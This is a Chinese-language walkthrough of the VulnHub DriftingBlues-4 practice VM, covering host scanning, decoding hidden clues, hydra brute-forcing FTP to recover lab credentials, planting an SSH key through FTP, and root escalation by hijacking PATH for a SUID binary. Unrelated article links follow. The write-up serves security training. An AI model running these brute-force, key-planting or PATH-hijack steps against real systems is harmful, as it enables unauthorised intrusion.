vulnhub靶场之driftingblues-4

news2024/11/25 22:46:10

一.环境搭建

1.靶场描述

get flags
difficulty: easy
about vm: tested and exported from virtualbox. dhcp and nested  vtx/amdv enabled. you can contact me by email for troubleshooting or  questions.
This works better with VirtualBox rather than VMware.
 

2.靶场下载

https://www.vulnhub.com/entry/driftingblues-4,661/
 

image-20240219153447919

3.靶场启动

image-20240219153529617

我们不知道靶场ip地址,但是我们知道网段是192.168.1.0/24,我们进行探测即可
 

二.信息收集

1.寻找靶场真实ip

nmap -sP 192.168.1.0/24
 

image-20240219153856132

arp-scan -l
 

image-20240219153943877

靶场的ip地址为192.168.1.10
 

2.探测端口及服务

nmap -p- -sV 192.168.1.10
 

image-20240219154231337

发现开启了21端口, 服务为ftp
发现开启了22端口,服务为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
发现开启了80端口,服务为Apache httpd 2.4.38 ((Debian))
 

三.渗透测试

1.访问web服务

http://192.168.1.10
 

image-20240219154558941

我们查看页面,没有发现任何有用的信息,我们进行查看源代码,发现一串base64编码,我们一会进行解密查看

image-20240219154703757

开启了21端口,我们进行查看ftp服务,但是不能进行匿名访问

ftp://192.168.1.10
 

image-20240219154817885

2.扫描web服务

1)nikto扫描

nikto -h http://192.168.1.10
 

没有任何信息

2)dirsearch目录扫描

dirsearch -u 192.168.1.10 -e * -x 403 --random-agent
 

image-20240219155336937

什么也没有,目前我们掌握的信息,只有一串base64编码,我们进行解密查看

3.渗透测试

1)解密

我们进行解密base64,一共需要解密4次

Z28gYmFjayBpbnRydWRlciEhISBkR2xuYUhRZ2MyVmpkWEpwZEhrZ1pISnBjSEJwYmlCaFUwSnZZak5DYkVsSWJIWmtVMlI1V2xOQ2FHSnBRbXhpV0VKellqTnNiRnBUUWsxTmJYZ3dWMjAxVjJGdFJYbGlTRlpoVFdwR2IxZHJUVEZOUjFaSlZWUXdQUT09
 

image-20240219155604191

我们发现是一个目录,我们进行访问

http://192.168.1.10/imfuckingmad.txt
 

image-20240219155717756

发现是Brainfuck编码,我们进行解密,发现是一个二维码

image-20240219161522517

2)扫描二维码

我们进行扫描

image-20240219161542342

image-20240219161616928

我们发现一个网址,我们进行访问发现4个用户名

https://i.imgur.com/a4JjS76.png
 

image-20240219164140157

在之前我们访问ftp访问的时候,发现需要用户名进行登录,那么我们进行爆破试试

3)hydra爆破

我们使用hydra进行爆破

hydra -L '/home/kali/桌面/1.txt'  -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.10 
 

image-20240219172149703

破解出一个 FTP登录的用户名和密码:luther/mypics
 

是 sync(linux同步命令,含义为迫使缓冲块数据立即写盘并更新超级块),那我尝试往 ftp 中的 hubert 文件中写入 ssh 密钥,猜测应该就会同步到 hubert 用户的家目录中,现在 ftp 中的 hubert 目录下创建 .ssh 目录

4)制作ssh私钥

首先先在kaii本地生成秘钥ssh-keygen 将 id_rsa.pub SSH公钥文件另存为 authorized_keys

ssh—keygen -t rsa
 

image-20240219174426188

image-20240219174455466

image-20240219180150587

然后我们在hubert目录下创建.ssh目录,我之前就已经创建好了.ssh目录,所以这里就不在创建了

image-20240219180336574

我们上传authorized_keys到靶场里面,我们可以看到上传成功

image-20240219180427738

image-20240219180442341

chmod 400 id_rsa   #给权限
 

5)ssh登录

ssh hubert@192.168.1.10 -i id_rsa
 

我们可以在user.txt里面,看到第一个flag

6)提权

我们使用命令

find / -perm -u=s -type f 2>/dev/null
 

image-20240219183651011

我们可以看到熟悉的getinfo,我们进行提权

执行该程序,根据执行结果发现分别运行了ip addr、cat /etc/hosts、uname -a命令

image-20240219183849451

可以通过修改环境来进行命令劫持提权

通过修改环境变量让getinfo在调用命令调用到我们伪造的ip命令(在检索环境时会先调用最前面的环境也就是最新写入的环境),来达到提权的效果

export PATH=/tmp/:$PATH             把/tmp路径写入到系统路径中
cd /tmp
echo '/bin/bash' > ip                       把/bin/bash写入到ip文件中(相当于创建ip并写入/bin/bash)
chmod +x ip                                    给ip文件增加执行权限
 

image-20240219184404990

我们可以看到是root提权,我们进行查看flag即可

image-20240219184438188

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1559027.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

O(1)空间复杂度反转/逆置单链表

写法1 王道书上的 从头结点开始,将链表中的每个节点取下来,逐个放在头结点后面, 维护三个指针 p,q,r ,p指向头结点,q为当前操作节点,r为下一个节点 将q指向p的下一个节点(也就是反转后的第一…

CSS3新增的语法(三)

CSS3新增的语法(三) 10.2D变换10.1. 2D位移10.2. 2D缩放10.3. 2D旋转10.4. 2D扭曲(了解)10.5. 多重变换10.6. 变换原点 11. 3D变换11.1. 开启3D空间11.2. 设置景深11.3. 透视点位置11.4. 3D 位移11.5. 3D 旋转11.6. 3D 缩放11.7. …

【数据结构与算法初阶(c语言)】插入排序、希尔排序、选择排序、堆排序、冒泡排序、快速排序、归并排序、计数排序-全梳理(万字详解,干货满满,建议三连收藏)

目录 1.排序的概念及其运用 1.1排序的概念 1.2排序运用 1.3常见的排序算法 2.插入排序 2.1 原理演示:​编辑 2.2 算法实现 2.3 算法的时间复杂度和空间复杂度分析 3.希尔排序 3.1算法思想 3.2原理演示 3.3代码实现 3.4希尔算法的时间复杂度 4.冒泡排序 4.1冒泡排…

win11运行vmware报错“此平台不支持虚拟化的 amd-v/rvi”问题(已解决)

背景: Windows11 安装vmware17 player运行eve需要打开there (reference:https://docs.vmware.com/cn/VMware-Workstation-Player-for-Windows/17.0/com.vmware.player.win.using.doc/GUID-3140DF1F-A105-4EED-B9E8-D99B3D3F0447.html) 但是…

基于ARM内核的智能手环(day4)

回顾 单片机延时方法总结 空函数延时(delay) 使用空函数来进行延时操作。简单易用,但延时时间不够精确,且阻塞式。定时器延时(delay) 通过定时器的计数器进行延时操作,提供精确的延时时间,但是仍为阻塞式延时。定时器中断延时 利…

小白学Java成长日记第二篇

哈喽,小伙伴们,我又回来了,还记得上一篇我们讲了什么内容吗?what!你说已经忘记了?,没事那我们先复习一下吧。 上集回顾: Java的两层皮(主体架构): public …

Python绘制线图之plt.plot()的介绍以及使用

在Python中plt.plot是matplotlib库中的一个函数,用于绘制点和线,并对其样式进行控制,下面这篇文章主要给大家介绍了关于Python绘制线图之plt.plot()的介绍以及使用的相关资料,需要的朋友可以参考下 plt.plot() 是Matplotlib库中用于绘制线图(折线图)的主…

MySQL学习之连接查询

笛卡尔乘积现象 在表的连接查询方面有一种现象被称为:笛卡尔积现象。 笛卡尔积现象: 当两张表进行连接查询的时候,没有任何条件进行限制,最终的查询结果条数是两张表记录条数的乘积。 select ename,dname from emp,dept; 避免…

力扣刷题Days28-第二题-11.盛水最多的容器(js)

目录 1,题目 2,代码 3,学习与总结 3.1思路回顾 1,如何遍历 2,算法流程 3.2剖析问题 1,题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线,第 i 条线的两个端点是 (i, 0) 和 (i, h…

ES学习日记(四)-------插件head安装和一些配套插件下载

前言 接上节,第三方插件选择了时间久,功能丰富,长得丑的head,head 插件在ES 5版本以前开箱即用非常简单,ES 5版本以后需要运行在node环境下,所以我们要先准备一下环境 一.安装Git yum -y install git 二.安装node 安装包位置node for linux下载 解压…

省级-能源结构数据(电力消费水平)(2000-2022年)

能源结构指能源总生产量或总消费量中各类一次能源、二次能源的构成及其比例关系。它是能源系统工程研究的重要内容,直接影响着国民经济各部门的最终用能方式,并反映了人民的生活水平。能源结构主要由生产结构和消费结构组成。 本数据通过电力消费水平来…

JAVA学习笔记21(访问修饰符)

1.访问修饰符 ​ *基本介绍 ​ java提供四种访问控制修饰符号,用于控制方法和属性(成员变量)的访问权限(范围) 1.公开级别:用public修饰,对外公开 2.受保护级别:用protected修饰,对子类和同一个包中的类公开 3.默…

鸿蒙TypeScript入门学习第5天:【TypeScript 运算符】

1、TypeScript 运算符 运算符用于执行程序代码运算,会针对一个以上操作数项目来进行运算。 考虑以下计算: 7 5 12复制以上实例中 7、5 和 12 是操作数。 运算符 用于加值。 运算符 用于赋值。 TypeScript 主要包含以下几种运算: 算…

docker部署实用的运维开发手册

下载镜像 docker pull registry.cn-beijing.aliyuncs.com/wuxingge123/reference:latestdocker-compose部署 vim docker-compose.yml version: 3 services:reference:container_name: referenceimage: registry.cn-beijing.aliyuncs.com/wuxingge123/reference:latestports:…

【python从入门到精通】-- 第三战:输入输出 运算符

🌈 个人主页:白子寰 🔥 分类专栏:python从入门到精通,魔法指针,进阶C,C语言,C语言题集,C语言实现游戏👈 希望得到您的订阅和支持~ 💡 坚持创作博文…

linux命令之tput

1.tput介绍 linux命令tput是可以在终端中进行文本和颜色的控制和格式化,其是一个非常有用的命令 2.tput用法 命令: man tput 3.样例 3.1.清除屏幕 命令: tput clear [rootelasticsearch ~]# tput clear [rootelasticsearch ~]# 3.2.…

HarmonyOS实战开发-一次开发,多端部署-视频应用

介绍 随着智能设备类型的不断丰富,用户可以在不同的设备上享受同样的服务,但由于设备形态不尽相同,开发者往往需要针对具体设备修改或重构代码,以实现功能完整性和界面美观性的统一。OpenHarmony为开发者提供了“一次开发&#x…

vue watch 深度监听

vue2文档&#xff1a;API — Vue.js vue3文档&#xff1a;侦听器 | Vue.js watch 可以用来监听页面中的数据&#xff0c;但如果监听的源是对象或数组&#xff0c;则使用深度监听&#xff0c;强制深度遍历源&#xff0c;以便在深度变更时触发回调。 一&#xff0c;监听 <t…

RecyclerView 调用 notifyItemInserted 自动滚动到底部的问题

项目中发现一个奇怪的现象 RecyclerView 加载完数据以后&#xff0c;调用 notifyItemInserted 方法&#xff0c;RecyclerView 会滑动到底部。 简化后的效果图&#xff1a; 因为这个 RecyclerView 的适配器有一个 FootViewHolder&#xff0c;所以怀疑是 FootViewHolder 的问题…

选择排序---算法

1、算法概念 首先在未排序列中找到最小(大)元素&#xff0c;存放到排序序列的起始位置&#xff0c;然后&#xff0c;再从剩余未排序元素中继续寻找最小(大)元素&#xff0c;然后放到已排序序列的末尾。以此类推&#xff0c;直到所有元素均排序完毕。 选择排序的思想其实和冒泡排…